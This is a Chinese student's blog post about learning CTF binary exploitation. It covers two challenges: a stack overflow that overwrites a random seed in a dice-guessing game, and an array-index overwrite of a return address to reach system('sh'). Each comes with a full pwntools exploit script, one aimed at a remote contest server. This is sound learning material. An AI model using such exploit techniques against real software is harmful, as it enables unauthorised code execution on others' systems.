请注意,本文编写于 1660 天前,最后修改于 1660 天前,其中某些信息可能已经过时。
( •̀ ω •́ )y!!我到家了,断更有一阵时间了,前几天忙着考试,昨天和师傅们混了一个js的代码审计。回来要好好学习了,这可能是最后一个可以努力提升自己的暑假了。开学来学长们毕业了,就剩我们惹,可不能让社团的二进制毁在我们手里。本身想做一个持续更新,最后想了想还是做一个专门的专题吧!主要是因为最近的图床我放在了oss下,要钱的(小心痛)。噶有噶有!
哇!看见这条华丽的分割线了嘛,上面是回到家得那天16号,今天已经是27号了!没办法,从开始调试虚拟机,到真正开始做题经历的事情还是挺多的。首先因为shellcode得无法使用,我对我的Ubuntu进行了一次大更新,我将pwntools更新到了最新,并且将它挂载到了python3上,完全解决了shellcode无法生成的问题。紧接着开始了自己PWN生活,前几天做的题目不是很难,一会进行简单得记录即可。但是今天我在做一道题目的时候,发现题目的栈地址不对,于是才想到使用checksec看一下保护,这一试就出问题了,我发现我的checksec使用不了,经历了重装等一系列操作,发现无果后。我又从大佬哪里嫖了一个虚拟机(PWN环境已经搭建好的那种)!因为之前的虚拟机我还搭建了智能合约的开发环境,实在是不舍得删。所以我全部都留下来了。前前后后折腾的时间还挺长的,但是之后应该会逐渐稳定下来不出意外的话,应该会加快学习速度,至于最近的智能合约,我卡在了合约开发上,因为没有接受过专业的软工的培训,并且英语底子比较弱,所以读起来还是比较费劲的。但是之后应该会继续的学习下去。
这是一个猜数的PWN题,整个程序会使用一个随机的种子生成五十个随机的数字,只要你能猜中50次,就给你flag。题目利用的是简单的栈溢出,修改随机种子。这道题目我是参考鼎哥的博客的。这里主要说几个需要注意的点:
#conding=utf-8
from pwn import *
from ctypes import *
context.log_level = 'debug'
z = remote('124.126.19.106',37861)
#z = process('./game')
payload = 'a' * 0x40 + 'a' * 4
z.recvuntil("Welcome, let me know your name: ")
z.sendline(payload)
libc = cdll.LoadLibrary("libc.so.6")
libc.srand(0x61616161)
for i in range(50):
z.recvuntil("Give me the point(1~6):")
num = (libc.rand() % 6 + 1)
z.sendline(str(num))
print(libc.rand()%6+1)
z.interactive()
这是一道开了保护的题目,也是让我发现我的checksec出问题的题目。
虽然我隐约觉得应给是和我将pwntools更换为python3有关,但是确实没有想到什么解决方法。我重装了我的checksec也没有解决问题,索性又给自己整了一个虚拟机。啊!希望不要再出问题了。如果有师傅知道是啥情况的话,可以考虑救一下我这个菜鸡。
回到题目,首先我们看一下保护。
这道题目canary和NX打开,拖入IDA看一下,发现了一个数组的溢出漏洞。
这一意味着我们可以在修改的时候,通过这个数组修改到栈的其他位置。数组一般会在栈中顺序排列,而且在我们学习高级语言程序设计的时候,就了解到对于一个数组B[],B其实相当一个指针,而里面的数字相当于一个偏移。最终到达在栈中修改数据的目的。对于本题,我们是想通过这个漏洞修改函数的返回地址,于是我们必须要知道,函数底部到底离我们的数组第一个位置有多远。在查阅很多题解的时候,发现很多师傅说静态与动态看出来的偏移不太一样。原因因为程序在代码中刻意的将自己的栈进行了拉高(或许有什么其他的作用)。于是我们动态的分析一下。
记下起始地址0xffffcf88
记下返回地址0xffffd00c
计算一下偏移是0x84
还有一个问题就是题目本身的问题,就是题目给的system(bin/bash)是是用不了的。我们需要自己构造system(sh)。
这里还是附上鼎哥的exp:
#!/usr/bin/python
#coding:utf-8
from pwn import*
io = process('./stack')
sys_a = 0x080485B4
bin_a = 0x08048987
offset = 0x84
def expchange(addr,ass):
io.sendline('3')
io.recvuntil('change:')
io.sendline(str(addr))
io.recvuntil('number:')
io.sendline(str(ass))
io.recvuntil('exit')
io.recvuntil('have:')
io.sendline('1')
io.recvuntil('numbers')
io.sendline('123')
io.recvuntil('exit')
expchange(offset,0xB4)
expchange(offset+1,0x85)
expchange(offset+2,0x04)
expchange(offset+3,0x08)
offset+=4
expchange(offset,0x87)
expchange(offset+1,0x89)
expchange(offset+2,0x04)
expchange(offset+3,0x08)
io.sendline('5')
io.interactive()
主要自己还在积累阶段,很多题目还是要摸着前人走过的路去走。自己的exp写的有很丑,所以还是主要以别的大佬的exp为主,一是看着舒服,二来为之后还可以整个模板,方便以后查阅。今天发现,鼎哥的堆基础知识已经写的差不多了,之后争取去学习一把。
全部评论 (共 2 条评论)